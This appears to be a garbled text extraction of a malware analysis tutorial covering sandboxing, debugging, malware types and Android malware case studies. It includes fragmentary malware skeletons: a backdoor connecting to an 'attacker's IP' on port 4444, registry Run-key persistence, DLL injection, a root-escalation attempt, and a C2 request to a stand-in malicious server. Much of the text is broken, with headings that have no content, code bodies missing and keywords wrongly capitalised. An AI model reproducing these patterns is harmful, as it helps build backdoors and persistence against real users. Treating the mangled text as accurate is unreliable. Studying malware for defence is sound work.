Malware
Malware
Malware
Techniques:
Techniques:
3. Types of Malware
7. Document Everything:
Related Topics
2. Sandboxing Tools
Tools to Practice
Would you like to proceed with the next chapter (Static Analysis)?
Dynamic Analysis
Topics Covered
1. Malware Sandbox
A sandbox is an isolated environment for safely executing and
analyzing malware.
Key Features:
Popular Tools:
Steps:
5. Debugging Tools
OllyDbg:
X64dbg:
Types:
7. Tracing
Decryption routines.
8. Exception Handling
9. Analyzing Shellcode
Steps:
1. Extract shellcode from memory dumps.
Scripts can:
12. Rootkits
Analysis Techniques:
2. Initial Observation:
Files created/modified.
Registry keys added or changed.
3. Network Analysis:
4. Debugging:
5. Behavior Documentation:
Record all observed behaviors, including IoCs like file hashes,
registry keys, and IP addresses.
Related Topics
1. Anti-Debugging Techniques
Common Techniques:
Detection Mechanisms:
Techniques:
Dump the malware process from memory using tools like Process
Hacker or Volatility.
Topics Covered
1. Malware Behavior
Common Actions:
Downloaders:
Import requests
Launchers:
3. Backdoors
Backdoors provide attackers with unauthorized remote access to
the infected system.
Import socket
Import subprocess
4. Reverse Shells
Use Cases:
Capabilities:
File upload/download.
Example Tools:
njRAT, DarkComet.
6. Credential Stealers
Common Techniques:
Logging keystrokes.
Def on_press(key):
With open(“log.txt”, “a”) as log_file:
Log_file.write(f”{key}\n”)
Techniques:
Techniques:
9. Process Injection
Techniques:
DLL injection.
Process hollowing.
Import ctypes
# Target process ID
Pid = 1234 # Replace with actual PID
10. Botnets
Use Cases:
Examples:
1. Behavior Observation:
3. Code Analysis:
4. Document Findings:
1. Downloaders
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <wininet.h>
Int main() {
HINTERNET hInternet, hFile;
DWORD bytesRead;
Char buffer[1024];
FILE *outputFile;
Fclose(outputFile);
InternetCloseHandle(hFile);
InternetCloseHandle(hInternet);
Return 0;
}
2. Backdoors
A backdoor provides unauthorized remote access to the attacker.
#include <winsock2.h>
#include <stdio.h>
Int main() {
WSADATA wsa;
SOCKET s;
Struct sockaddr_in server;
Char *ip = “192.168.1.100”; // Attacker’s IP
Int port = 4444;
// Initialize Winsock
WSAStartup(MAKEWORD(2, 2), &wsa);
// Create socket
S = socket(AF_INET, SOCK_STREAM, 0);
If (s == INVALID_SOCKET) {
Printf(“Socket creation failed.\n”);
Return 1;
}
3. Keyloggers
#include <windows.h>
#include <stdio.h>
Int main() {
Char c;
FILE *file;
Fclose(file);
Return 0;
}
4. Process Injection
#include <windows.h>
#include <stdio.h>
Int main() {
DWORD pid = 1234; // Replace with target process ID
HANDLE hProcess;
LPVOID allocMem;
Char dllPath[] = “C:\\path\\to\\malicious.dll”;
CloseHandle(hProcess);
Return 0;
}
5. Persistence
#include <windows.h>
#include <stdio.h>
Int main() {
HKEY hKey;
Const char *path = “C:\\path\\to\\malware.exe”;
Const char *regPath = “Software\\Microsoft\\Windows\\
CurrentVersion\\Run”;
RegCloseKey(hKey);
Printf(“Persistence added to registry.\n”);
Return 0;
}
Analysis Workflow
2. Behavior Observation:
Topics Covered
1. Overview of Android Malware
4. Case Studies
Plankton
DroidKungFu
AnserverBot
Goals:
Plankton
#include <jni.h>
#include <android/log.h>
#include <dlfcn.h>
DroidKungFu
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
Int main() {
Setuid(0); // Attempt to gain root privileges
System(“id > /data/local/tmp/root_check.txt”);
Printf(“Privilege escalation attempt executed.\n”);
Return 0;
}
AnserverBot
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <curl/curl.h>
Void connect_to_c2(const char *url) {
CURL *curl = curl_easy_init();
If (curl) {
Curl_easy_setopt(curl, CURLOPT_URL, url);
Curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
Curl_easy_perform(curl);
Curl_easy_cleanup(curl);
}
}
Int main() {
Const char *c2_server = http://malicious-server.com/command;
Printf(“Connecting to C2 server...\n”);
Connect_to_c2(c2_server);
Return 0;
}
Static Analysis
Tools:
Workflow:
Dynamic Analysis
Key Observations:
Var HttpURLConnection =
Java.use(“java.net.HttpURLConnection”);
HttpURLConnection.getInputStream.implementation = function
() {
Console.log(“[*] Intercepted HTTP connection: “ +
this.getURL());
Return this.getInputStream();
};
});
3. Additional Tools: